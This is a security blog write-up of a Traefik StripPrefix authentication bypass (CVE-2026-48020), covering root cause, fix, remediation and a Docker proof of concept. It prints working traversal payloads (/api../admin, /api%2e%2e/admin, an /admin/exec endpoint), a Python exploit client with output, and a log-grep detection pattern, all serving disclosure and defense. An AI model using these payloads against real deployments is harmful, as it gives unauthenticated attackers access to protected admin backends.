HB Updated Jun 27, 2026

StripPrefix and the One-Slash That Broke Auth: CVE-2026-48020 — Traefik Route-Level Authentication Bypass

On June 23, 2026, NIST’s National Vulnerability Database published CVE-2026-48020, a route-level authentication and authorization bypass in Traefik, the cloud-native reverse proxy and ingress controller that fronts a huge slice of the modern web (and most Kubernetes clusters). NVD scores it 10.0 Critical under CVSS 3.1; the Traefik maintainers’ own GitHub advisory grades it 7.8 High under CVSS 4.0. Whichever scale you prefer, the headline is the same: an unauthenticated, network-reachable attacker can reach backend paths that an operator explicitly placed behind a separate authenticated router.

The bug is beautiful in its simplicity, and it is the kind of issue I always tell teams to look for during edge-tier reviews: a request is authorized on one representation of its path and then forwarded on a different one. Traefik decides which router handles a request using the raw, un-normalized URL, then its StripPrefix middleware rewrites and normalizes that path before sending it upstream. A single .. segment — literal or percent-encoded as %2e%2e — lets the request dress as a public /api route at decision time and then morph into a protected /admin route by the time it reaches the backend.

If that pattern sounds familiar, it is. We have written before about how the trickiest web-application flaws live in the gap between two assumptions — see our piece on Race Condition Attacks in Web Applications, where the same “two checks, two states” shape shows up. CVE-2026-48020 is the edge-proxy version of that family.


Vulnerability Classification

Field Value
CVE ID CVE-2026-48020
GHSA GHSA-xf64-8mw2-4gr2
CVSS 3.1 (NVD) 10.0 — Critical
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVSS 4.0 (GitHub) 7.8 — High
CVSS 4.0 Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
CWE (NVD) CWE-288 — Authentication Bypass Using an Alternate Path or Channel
Related CWEs CWE-863 (Incorrect Authorization), CWE-180 (Validate Before Canonicalize), CWE-22 (Path Traversal)
Affected Component StripPrefix (and StripPrefixRegex) middleware
Affected Versions Traefik <= v2.11.46, <= v3.6.17, <= v3.7.1
Patched Versions v2.11.48, v3.6.19, v3.7.3
CVE Published June 23, 2026 (advisory GHSA published June 5, 2026)
Reporter WonYun / kyun0 (GitHub: @H4ck2)

A quick note on the two scores: CVSS 3.1 scores this 10.0 because of Scope: Changed — the impact crosses from the proxy’s routing authority into the protected backend system. The newer CVSS 4.0 model splits vulnerable-system and subsequent-system impacts explicitly, and lands at 7.8. Both are above 7; the practical takeaway is “unauthenticated, network-reachable, high impact.”


Background: Traefik, Routers, and Middlewares

Traefik is an HTTP reverse proxy and load balancer designed around dynamic configuration. In a Kubernetes cluster it is the ingress controller that terminates traffic and routes it to services; outside Kubernetes it is just as happy reading a YAML file from disk. Its mental model is built on three primitives:

  • Entrypoints — the listening sockets (e.g. :80, :443, a QUIC/HTTP-3 UDP socket).
  • Routers — rules that decide which entrypoint traffic a request matches and which service/middleware chain handles it. A rule like PathPrefix(\/admin`)matches any request whose path starts with/admin`.
  • Middlewares — the processing pipeline attached to a router: authentication (Basic, Digest, Forward), rate limiting, header manipulation, and — critically for this CVE — path rewriting.

The two middlewares at the heart of this vulnerability are:

  • StripPrefix — removes a configured prefix from the request path before forwarding it upstream. A router matching /api with StripPrefix(/api) turns a request to /api/users/42 into a backend request to /users/42.
  • StripPrefixRegex — the regex-powered sibling; the fix covers both.

This prefix-stripping pattern is enormously common. You expose a single service behind /api at the edge, strip the prefix, and the backend thinks it is mounted at /. It is clean, idiomatic, and — as it turns out — dangerous when combined with a separately authenticated router.

The deployment pattern that triggers the bug

The vulnerable configuration is not exotic. It is what many teams write the first day they split a public API from an admin panel behind the same proxy:

http:
  routers:
    public-api:
      # Public route: everything under /api, minus the admin/internal subtrees.
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints: [web]
      middlewares: [strip-api]      # <-- strips /api, NO auth
      service: backend

    protected:
      # Protected route: admin and internal panels require credentials.
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints: [web]
      middlewares: [auth]           # <-- basicAuth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes: [/api]
    auth:
      basicAuth:
        users:
          - 'admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

The operator’s intent is obvious: /api/** is public (with /api/admin and /api/internal carved out), while /admin and /internal are locked behind Basic auth. The carve-out exclusions are there precisely to stop the public strip route from ever forwarding into the protected namespace. It looks airtight. It isn’t.


The Core Flaw: Route on the Raw Path, Forward on the Normalized One

Traefik builds a routing tree from the rule expressions and matches each incoming request against it using the raw URL path exactly as it arrived.. segments intact, no collapse, no normalization. That match selects a router and freezes the middleware chain. Only after that selection does the pipeline run, and StripPrefix does its work.

Here is the key detail the reporter nailed down: in the affected versions, StripPrefix does not simply slice the prefix off the string. Internally it rebuilds the URL with Go’s req.URL.JoinPath(), which canonicalizes the path — collapsing . and .. segments according to path semantics. That is the order-of-operations bug in a single sentence:

  1. Routing matches PathPrefix(\/api`)on the literal path/api../admin(it does start with/api`).
  2. The !PathPrefix(\/api/admin`)exclusion does **not** match, because the path is/api../admin, not/api/admin` — so the public router wins.
  3. StripPrefix(/api) strips /api, leaving /../admin.
  4. JoinPath() normalizes /../admin into /admin.
  5. The backend receives GET /admin — a path owned by the protected router — with no authentication ever applied.
Incoming path:              /api../admin
Routing decision (raw):     matches public PathPrefix(`/api`)      ✓  auth skipped
After StripPrefix(`/api`):  /../admin
After JoinPath() canonical: /admin                                  ← belongs to protected router
Backend receives:           GET /admin   (200, unauthenticated)

The percent-encoded form works too, because the raw matcher still sees /api%2e%2e/admin as starting with /api:

GET /api%2e%2e/admin   →   matches PathPrefix(`/api`)   →   strip   →   /admin

This is a textbook CWE-180: Incorrect Behavior Order — Validate Before Canonicalize. Traefik validated (authorized) against one path representation and then forwarded against another. It is also why the NVD-assigned CWE-288 (Authentication Bypass Using an Alternate Path or Channel) fits so well: the attacker never defeats the basicAuth middleware; they simply never visit it, by reaching the protected resource through an alternate path that the normalizer quietly assembles for them.


Attack Scenario Walkthrough

CVE-2026-48020 Attack Flow

Prerequisites

  • A Traefik deployment on an affected version (<= v2.11.46, <= v3.6.17, <= v3.7.1).
  • A public PathPrefix router using StripPrefix (or StripPrefixRegex) coexisting with a separately authenticated router that guards a different path prefix — e.g. /api (stripped, public) alongside /admin (authenticated).
  • Network reachability to the entrypoint. There is no user interaction, no credentials, and no special privileges required.

Step 1: Reconnaissance

The attacker fingerprints the edge. Traefik — when its dashboard/API is exposed, a common default — answers on /dashboard/ and on the /api/ entrypoints it exposes for health and metrics. The more useful signal is how the routes themselves behave. The attacker probes a few paths to map the routing shape:

$ curl -si http://target.example.com/api/health
HTTP/1.1 200 OK

$ curl -si http://target.example.com/admin
HTTP/1.1 401 Unauthorized
Www-Authenticate: Basic realm="traefik"

A 401 with a Basic challenge on /admin tells the attacker two things: there is an admin namespace, and it is guarded by a separate authenticated router (the basicAuth middleware). That is the exact precondition for the bypass.

Step 2: Crafting the Payload

The payload is two characters: .. placed right after the prefix that the public router strips.

# No credentials. Literal traversal form:
$ curl -s --path-as-is http://target.example.com/api../admin
{"seen_path":"/admin","secret":"ADMIN_SECRET_REACHED","role":"administrator","bypassed_auth":true}

Two implementation details matter when you send this yourself:

  • --path-as-is (curl) or equivalent — most HTTP clients collapse .. segments client-side before sending. You must suppress that so the raw /api../admin reaches the wire. curl’s --path-as-is, Python’s manual Request, or Burp Repeater all do this correctly.
  • Encoding — the percent-encoded variant /api%2e%2e/admin defeats clients and intermediate proxies that might otherwise normalize, and it bypasses WAFs that pattern-match on a literal ...
# Percent-encoded form, equally effective:
$ curl -s http://target.example.com/api%2e%2e/admin
{"seen_path":"/admin","secret":"ADMIN_SECRET_REACHED","role":"administrator","bypassed_auth":true}

Step 3: Impact Amplification

The bypass is a pure authorization boundary violation, not a memory-corruption RCE in Traefik itself. But its real-world severity is set by what lives behind the protected router. In the reporter’s lab, a protected /admin/exec endpoint — a generic “execute” primitive — was reachable through /api../admin/exec:

$ curl -s --path-as-is http://target.example.com/api../admin/exec
{"seen_path":"/admin/exec","secret":"EXEC_ENDPOINT_REACHED","note":"conditional RCE primitive"}

That turns an auth-bypass into a conditional RCE chain: any backend feature that was considered safely behind authentication — admin actions, internal config reads, debug endpoints, management APIs — becomes reachable. Secrets leak, internal configuration is exposed, and any execution primitive the backend exposes is now unauthenticated.


Root Cause Analysis

Vulnerable vs Patched Behaviour

The vulnerability has a single root cause with a few compounding factors.

1. Normalize-after-route ordering

Traefik’s router tree is compiled from rule expressions and evaluated against the request’s raw path. StripPrefix, however, normalizes the path when it reconstructs the upstream URL via req.URL.JoinPath(). Because the authorization decision (router + middleware selection) is pinned to the pre-normalization path while the forwarded path is post-normalization, the two can diverge. Any input where the raw and normalized forms disagree — and .. is the canonical example — becomes a route/auth desynchronization.

2. Prefix-matching is greedy on the raw path

PathPrefix(\/api`)matches *any* path beginning with the literal/api, including/api..and/api%2e%2e. The exclusions operators wrote (!PathPrefix(`/api/admin`)`) were authored against the intended normalized namespace, so they miss the traversal variant entirely. You cannot enumerate your way out of this with exclusions — the normalization happens after your exclusions have already run.

3. The traversal is invisible to the protected router

Once the public router is selected, the protected router’s basicAuth middleware is structurally unreachable for this request. There is no second authorization pass on the post-strip path. The backend is the only thing that “sees” /admin, and the backend typically trusts the proxy.

Why the score is 10.0 (CVSS 3.1)

Scope is Changed: the vulnerability crosses an authority boundary between Traefik (the routing authority) and the backend system it protects. Combined with AV:N (network), PR:N (no privileges), UI:N (no user interaction), and C:H/I:H on the subsequent system, the 3.1 formula maxes out at 10.0. The 4.0 model makes the vulnerable-vs-subsequent split explicit and settles at 7.8 — still firmly in “fix it now” territory.


The Fix

The patch shipped in three concurrent releases — v2.11.48, v3.6.19, and v3.7.3 — and is documented in the release notes under the CVE. The implementation lives in Traefik PR #13215: “Reject requests with different paths after StripPrefix and StripPrefixRegex normalisation.”

The maintainer’s stated motivation is precise: “To avoid the stripped path from being interpreted as a different resource by the upstream service.” In other words, the fix does not try to make routing aware of normalization; it makes the post-normalization path divergence itself a rejection criterion.

The logic, in effect, is:

route on raw path   →   select router + middlewares
StripPrefix/Regex   →   strip prefix, JoinPath() normalises
if normalized_path != expected_path_after_strip:   # NEW
        reject (404)                                 # resource identity changed
else:
        forward

Once that check is in place, /api../admin is recognized as having changed identity during normalization (the routed form was a /api… path, the post-strip/normalized form is /admin) and is refused with a 404 before it ever reaches the backend. The accompanying releases also hardened a related area (PR #13227, “Avoid ingress path matcher injection”) for the Kubernetes Ingress provider.

A second advisory, CVE-2026-48491 (GHSA-5r4w-85f3-pw66), covers a domain-fronting-style variant fixed in the same v3.7.3 release, and CVE-2026-53622 covers an HTTP/3 (QUIC) mTLS bypass. If you are upgrading for CVE-2026-48020, you pick up all three.


Remediation

Immediate Action: Upgrade

# Docker / Compose — pin a fixed tag
sed -i 's|traefik:v3.7.1|traefik:v3.7.3|' docker-compose.yml
docker compose up -d --force-recreate

# Helm (Kubernetes)
helm upgrade traefik traefik/traefik \
  --set image.tag=v3.7.3 \
  --namespace traefik

Verify the version is no longer in the affected set:

$ curl -s http://target.example.com/api../admin
{"seen_path":"/api../admin","secret":null}     # 404 — path rejected

Defense-in-depth: anchor your prefixes

The reporter verified mitigations that close the gap without relying on the normalization check, by making the public prefix unable to match the traversal form at all. Prefer the anchored regex form:

http:
  routers:
    public-api:
      # ^/api followed by '/' or end-of-string — refuses /api..  at routing time
      rule: 'PathRegexp(`^/api(/|$)`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      middlewares: [strip-api]
      service: backend

Or, equivalently, use the trailing-slash form for both the match and the strip:

    public-api:
      rule: 'PathPrefix(`/api/`)'
      middlewares: [strip-api-slash]
      service: backend

  middlewares:
    strip-api-slash:
      stripPrefix:
        prefixes: [/api/]

Attention! Do not try to “fix” this by stacking more !PathPrefix exclusions. The exclusions are evaluated on the raw path, so they will always be one traversal variant behind. Anchor the prefix or upgrade.

Audit your access logs

Because exploitation is a single unauthenticated GET, it leaves a clear signature. Hunt for the bypass shape in your logs:

# Look for the traversal payload hitting any stripped prefix
grep -E '/api\.\./|/%2e%2e/|/[a-z]+\.\./' /var/log/traefik/access.log

Any 200 against such a path on a deployment that has not yet upgraded is a confirmed exploitation.


Proof of Concept

https://github.com/Hunt-Benito/traefik-stripprefix-auth-bypass-cve-2026-48020-path-normalization

The PoC repo reproduces the advisory’s vulnerable configuration end-to-end with Docker. It spins up a vulnerable Traefik (v3.7.1) and a tiny Python backend that returns a canned secret for the protected paths, then runs a client that walks every payload variant and reports which protected paths were reached without credentials.

The vulnerable configuration (dynamic.yml):

http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints: [web]
      middlewares: [strip-api]
      service: backend
    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints: [web]
      middlewares: [auth]
      service: backend
  middlewares:
    strip-api:
      stripPrefix:
        prefixes: [/api]
    auth:
      basicAuth:
        users:
          - 'admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'
  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

Bringing it up and running the exploit:

$ docker compose up -d --wait
[+] Running 2/2
 ✔ Container backend   Started
 ✔ Container traefik   Started

$ python3 poc.py
[*] Target: http://127.0.0.1:18080

  [blocked] direct protected (auth enforced)      /admin
          -> status=401  body=...
  [blocked] direct protected (auth enforced)      /internal/config
          -> status=401  body=...
  [safe  ] public strip + exclusion (safe)        /api/admin
          -> status=404  body=...
  [safe  ] public strip + exclusion (safe)        /api/internal/config
          -> status=404  body=...
  [!] BYPASS  literal ..                          /api../admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", "bypassed_auth": true}
  [!] BYPASS  encoded %2e%2e                      /api%2e%2e/admin
          -> status=200  body={"secret": "ADMIN_SECRET_REACHED", "seen_path": "/admin", "bypassed_auth": true}
  [!] BYPASS  literal .. (exec endpoint)          /api../admin/exec
          -> status=200  body={"secret": "EXEC_ENDPOINT_REACHED", "seen_path": "/admin/exec", "note": "conditional RCE primitive"}
============================================================
[!] AUTH BYPASS CONFIRMED — protected paths reached without credentials via StripPrefix path normalisation.

The core of the client is deliberately simple — the subtlety is entirely on the wire, not in the code. Note the --path-as-is equivalent: we construct the request so the client does not pre-normalize the traversal:

from urllib.request import Request, urlopen

# Sent verbatim — no client-side '.'/'..' resolution.
req = Request("http://127.0.0.1:18080/api../admin")
with urlopen(req, timeout=5) as r:
    print(r.status, r.read().decode())   # 200 {"seen_path":"/admin","secret":"ADMIN_SECRET_REACHED",...}

To verify the patch, bump the image tag to v3.7.3 and re-run — the same payloads now return 404, and the script reports “No bypass observed.” See the GitHub repo above for the full docker-compose.yml, dynamic.yml, backend.py, and poc.py, plus a README with step-by-step reproduction and verification instructions.


Why This Matters Beyond Traefik

CVE-2026-48020 is a near-perfect case study of a class of bug that recurs everywhere a request is inspected, authorized, and then transformed in separate stages: authorization-time-of-check vs. dispatch-time-of-use. It is the same shape as:

  • Reverse-proxy path rewriting in nginx (alias/rewrite traversal), Apache (Alias, mod_rewrite), and every API gateway that strips or rewrites path prefixes.
  • WAF normalization gaps, where a filter inspects one encoding and the origin normalizes another (%2e%2e, double-encoding, Unicode normalization).
  • OAuth/OIDC redirect-URI canonicalization, where an identity decision is made on one form of a URL and the browser visits another — the family we covered in our Account-Takeover analysis.

The defensive lessons are universal and worth internalizing:

  1. Canonicalize before you authorize, not after. If you must transform a path, do it before the routing/authorization decision, and re-authorize if you transform afterward. Traefik’s fix takes the pragmatic alternative: detect that normalization changed the resource identity and refuse the request.
  2. Never trust prefix matching on un-normalized input. PathPrefix(\/api`)is a string prefix, not a path-segment match. Anchor it (^/api(/|$)`) when the boundary matters.
  3. Treat your edge proxy’s forwarded path as part of your trust model. Backends routinely assume “if the request reached me, the proxy authenticated it.” When the proxy can be tricked into mis-routing, that assumption fails silently.

For operators, the action is simple and non-negotiable: upgrade to v2.11.48, v3.6.19, or v3.7.3, and audit your logs for the /api../ signature. For the rest of us building routing systems, the lesson is the kind you only have to learn once — but that history shows we keep rediscovering: the moment your components disagree about what a path means, an attacker will make them disagree on purpose.


SOURCES

NIST National Vulnerability Database — CVE-2026-48020: https://nvd.nist.gov/vuln/detail/CVE-2026-48020

GitHub Security Advisory GHSA-xf64-8mw2-4gr2 (Traefik StripPrefix Route-Level Auth Bypass via Path Normalization): https://github.com/traefik/traefik/security/advisories/GHSA-xf64-8mw2-4gr2

Traefik Fix Pull Request #13215 — Reject requests with different paths after StripPrefix and StripPrefixRegex normalisation: https://github.com/traefik/traefik/pull/13215

Traefik Release v3.7.3 (CVE fixed): https://github.com/traefik/traefik/releases/tag/v3.7.3

Traefik Release v2.11.48 (CVE fixed): https://github.com/traefik/traefik/releases/tag/v2.11.48

Traefik Release v3.6.19 (CVE fixed): https://github.com/traefik/traefik/releases/tag/v3.6.19

CVE.org — CVE-2026-48020: https://www.cve.org/CVERecord?id=CVE-2026-48020

MITRE CWE-288 — Authentication Bypass Using an Alternate Path or Channel: https://cwe.mitre.org/data/definitions/288.html

MITRE CWE-180 — Incorrect Behavior Order: Validate Before Canonicalize: https://cwe.mitre.org/data/definitions/180.html

OWASP Top 10 — A01:2021 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/

Traefik Documentation — StripPrefix middleware: https://doc.traefik.io/traefik/v3.7/middlewares/http/stripprefix/